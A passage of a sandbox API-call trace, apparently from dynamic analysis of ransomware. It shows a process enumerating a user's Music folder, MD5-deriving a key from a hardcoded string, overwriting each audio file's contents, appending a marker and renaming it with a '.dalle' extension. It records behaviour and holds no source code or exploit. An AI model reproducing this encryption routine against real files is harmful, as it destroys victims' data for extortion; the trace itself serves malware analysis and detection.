lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.552] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=64527) returned 1 [0120.552] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.554] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfbe9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.554] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.555] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.555] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xfc0f, lpOverlapped=0x0) returned 1 [0120.556] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.556] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.556] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.556] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.557] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.557] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.557] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.557] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.557] GetLastError () returned 0x0 [0120.557] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.557] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xfc10) returned 0x3096780 [0120.557] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.557] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xfc0a, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xfc0a, lpOverlapped=0x0) returned 1 [0120.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.558] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfc0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.558] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.558] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.558] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.558] CloseHandle (hObject=0x618) returned 1 [0120.559] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.559] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.559] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.559] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uYJ6-T5.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uyj6-t5.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uYJ6-T5.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uyj6-t5.mp3.dalle")) returned 1 [0120.560] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.560] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.561] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f66080, ftCreationTime.dwHighDateTime=0x1d4cf3c, ftLastAccessTime.dwLowDateTime=0xb647ec90, ftLastAccessTime.dwHighDateTime=0x1d4c7d7, ftLastWriteTime.dwLowDateTime=0xb647ec90, ftLastWriteTime.dwHighDateTime=0x1d4c7d7, nFileSizeHigh=0x0, nFileSizeLow=0x14b32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W7FUqTq.mp3", cAlternateFileName="")) returned 1 [0120.561] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.561] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.561] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W7FUqTq.mp3") returned=".mp3" [0120.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W7FUqTq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w7fuqtq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.562] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=84786) returned 1 [0120.562] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.564] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14b0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.564] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.565] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.565] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x14b32, lpOverlapped=0x0) returned 1 [0120.567] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.567] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.567] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.567] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.568] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.568] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.568] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.568] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.568] GetLastError () returned 0x0 [0120.568] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.568] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x14b30) returned 0x3096780 [0120.568] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.568] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x14b2d, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x14b2d, lpOverlapped=0x0) returned 1 [0120.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.569] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14b32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.569] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.569] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.569] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.569] CloseHandle (hObject=0x618) returned 1 [0120.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.570] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W7FUqTq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w7fuqtq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W7FUqTq.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w7fuqtq.mp3.dalle")) returned 1 [0120.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.571] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.572] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb34f80, ftCreationTime.dwHighDateTime=0x1d4c84a, ftLastAccessTime.dwLowDateTime=0x6b2f6280, ftLastAccessTime.dwHighDateTime=0x1d4d293, ftLastWriteTime.dwLowDateTime=0x6b2f6280, ftLastWriteTime.dwHighDateTime=0x1d4d293, nFileSizeHigh=0x0, nFileSizeLow=0x6686, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X CNm1ePx68ob.wav", cAlternateFileName="XCNM1E~1.WAV")) returned 1 [0120.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.572] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\X CNm1ePx68ob.wav") returned=".wav" [0120.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\X CNm1ePx68ob.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\x cnm1epx68ob.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.572] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=26246) returned 1 [0120.572] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.574] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6660, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.574] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.576] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.576] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x6686, lpOverlapped=0x0) returned 1 [0120.576] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.576] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.576] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.577] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.577] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.577] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.577] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.577] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.577] GetLastError () returned 0x0 [0120.577] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.578] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.578] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x6690) returned 0x3096780 [0120.578] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.578] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x6681, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x6681, lpOverlapped=0x0) returned 1 [0120.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.578] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6686, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.578] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.578] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.578] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.578] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.578] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.578] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.579] CloseHandle (hObject=0x618) returned 1 [0120.579] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.579] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x880) returned 0x3096780 [0120.579] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.579] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\X CNm1ePx68ob.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\x cnm1epx68ob.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\X CNm1ePx68ob.wav.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\x cnm1epx68ob.wav.dalle")) returned 1 [0120.580] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.580] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.581] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3b0cee0, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x8d2c4a40, ftLastAccessTime.dwHighDateTime=0x1d4cecb, ftLastWriteTime.dwLowDateTime=0x8d2c4a40, ftLastWriteTime.dwHighDateTime=0x1d4cecb, nFileSizeHigh=0x0, nFileSizeLow=0x4605, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XDsCW7KhypcISoT.mp3", cAlternateFileName="XDSCW7~1.MP3")) returned 1 [0120.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.581] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XDsCW7KhypcISoT.mp3") returned=".mp3" [0120.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XDsCW7KhypcISoT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xdscw7khypcisot.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.582] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=17925) returned 1 [0120.582] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.584] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x45df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.584] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.585] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.585] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x4605, lpOverlapped=0x0) returned 1 [0120.586] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.586] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.586] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.586] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.587] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.587] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.587] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.587] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.587] GetLastError () returned 0x0 [0120.587] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.587] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.587] HeapFree (in: hHeap=0x5e0000, 